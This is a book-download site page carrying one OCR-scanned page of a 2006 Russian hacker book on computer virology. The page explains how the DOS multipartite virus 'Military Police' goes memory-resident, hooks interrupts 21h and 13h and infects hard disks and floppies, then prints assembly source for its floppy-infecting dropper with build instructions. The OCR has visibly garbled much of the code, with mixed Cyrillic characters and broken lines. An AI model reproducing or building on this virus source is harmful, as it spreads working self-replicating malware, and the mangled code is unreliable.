Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 82 83 84 85 86 87 < 88 > 89 90 91 92 93 94 .. 123 >> Следующая

Если МР уже в памяти, нам не нужно загружать новую копию. Мы просто
перемещаем стартовые адреса жертвы и прыгаем к ней. Новый пример вируса
исчезает, и жертва выполняется нормальным образом. Если МР понял, что его
копия в памяти отсутствует,
353
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
он становится резидентом и выполняет программу-жертву. Чтобы стать
резидентом, вирус копирует себя в офсет 100Н в PSP. Это выполняется
размещением в памяти (0:3FCH) инструкций гер movsb/retf. То есть мы
указали локацию вектора прерывания 0FFH, которое обычно не используется
ни одной программой. МР применяет ее временно и, завершив работу,
восстанавливает старое значение.
Далее вирус устанавливает стек, es:di, ds:si и сх таким образом, чтобы он
мог вызвать 0:3FCH, переместить себя и затем вернуться к коду, который
следует за этим вызовом. Регистры устанавливаются так, чтобы МР
выполнялся в правильном офсете.
Передвинув себя, МР перехватывает прерывания 21Н и 13Н, осматривает
жесткий диск и проверяет, инфицирован ли тот. Если жесткий диск не
заражен, то производится инфекция. Затем Military Police должен выполнить
атакованную программу и стать резидентом памяти. Так как вирус использует
для этого функцию 31Н int 21h, он сначала выполняет жертву с помощью DOS-
функции 4ВН (которую мы обсуждали в главе о компаньонских вирусах).
Чтобы выполнить жертву, МР должен высвободить память, используемую DOS-
функцией 4АН, и установить временный стек для себя над собственным кодом.
Затем он находит свое имя в среде, выполняет ЕХЕС, высвобождает ненужную
память и выходит в DOS через TSR-функцию (31Н).
С этого момента МР обитает в памяти, ожидая дискеты, вставленной в
дисковод, или файла, который может быть найден его поисковым механизмом.
5. Исходный код вируса Military Police
Вирус Military Police использует модули INT21H.ASM, ЕХЕ-FILE.ASM,
FATMAN.ASM, INT13H.ASM и BOOT.ASM. Скопируйте их в MPOLICE.ASM.
При ассемблировании MPOLICE.ASM со всеми модулями в текущей директории вы
получите MPOLICE.COM - загрузчик ЗС, который инфицирует А: вирусом
Military Police.
Чтобы прикрепить его к файлу, вы должны произвести рестарт с зараженного
диска, подождать 30 секунд и затем сделать DIR директории с какими-нибудь
ЕХЕ-файлами, находящимися в ней.
354
ГЛАВА 7. Многоцелевые вирусы
Нижеследующие модули являются исходным кодом для вируса Military Police.
Основной модуль:
.model tiny '.меняем на "малую" для тех версий MASM,
.code ;которые не понимают "tiny"
ORG 100Н
Эта функция действует как загрузчик вируса. Она инфицирует диск в А:
START:
mow BYTE PTR ds:[CURR_DISK],0 ;инфицируем диск #0 (a:) mov dl,0
устанавливаем dl для CHECK_DISK call CHECK_DISK ;дискета уже
инфицирована? jz EXIT_BAD ;да, выход
call INIT_FAT_MANAGER инициализация подпрограммы управления FAT call
INFECT_FLOPPY ;нет, заражаем дискету EXIT_NOW:
mov ah,9 -.говорим инфекции OK
mov dx.OFFSET OK_MSG int 21H
mov ax,4C00H ;bhxoabDOS
int 21H
B(IT_BAD:
mov ah ,9 -.говорит о возникшей проблеме
mov dx.OFFSET ERR_MSG int 21 h
mov ax,4C01H ;выход с кодом ошибки int 21Н
OK_MSG DB 'Infection complete!$' ; "инфекция завершена"
ERR_MSG DB 'Infection process could not be completed!$'
;"процесс инфицирования не завершен"
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Область данных BIOS
ORG 41ЗН
MEMSIZEDW 640 .размер инсталлированной памяти (в килобайтах)
Код вируса начинается здесь:
VIR_SIZE EQU 2 ;размер вируса (в секторах)
ORG 7С00Н - 512*VIR_SIZE - 512 BBS: ;метка начала вируса
INCLUDE INT13H.ASM ;включая подпрограмму обработчика
;int13h
INCLUDE INT21H.ASM ;подпрограммуобработчикаю121Ь INCLUDE EXEFILE.ASM
Эта подпрограмма проверяет статус флага мотора для диска в dl. Если мотор
включен, она возвращает сброшенный флаг в ноль. В ином случае она
возвращается с установленным z.
CHECK_MOTOR:
push bx
push dx
push es
xor bx.bx
mov es.bx ;es=0
mov bx,43FH ;статус мотора в 0:43FH
mov bl.es: [bx]
inc dl
and bl.dl ;мотор включен? ret с установленным флагом
pop es
pop dx
pop ret bx
ГЛАВА 7. Многоцелевые вирусы
Проверяем возможную инфекцию диска. Если да, возврат с установленным г.
Это предполагает только сохранение флагов, а не регистров.
CHECK_DISK:
push ах дохранить все
push bx
push сх
push dx
push si
push di
push bp
push ds
push es
mov ax.cs mov ds.ax mov es.ax
mov bx, OFFSET SCRATCHBUF ;буфер для загрузочного сектора mov dh,0
;головка О
mov сх,1 дрек 0, сектор 1
mov ах,201Н iBIOS-функция чтения push ах int ДОН pop ах int ДОН jne С01
xor al.al действуем, как при зараженной дискете jmp SHORT CD2 ;на случай
ошибки CD1: call IS_VBS '.смотрим, восстановил ли все вирусный CD2: pop
es ;загрузочный сектор (установленный г)
;читаем дважды, чтобы добежать проблем при ;перемене дискеты
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
pop ds ; кроме флага г
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
Эта подпрограмма помещает вирус на дискету. Она не решает, была ли
дискета уже заражена. Такое решение принимается на более высоком уровне.
Предыдущая << 1 .. 82 83 84 85 86 87 < 88 > 89 90 91 92 93 94 .. 123 >> Следующая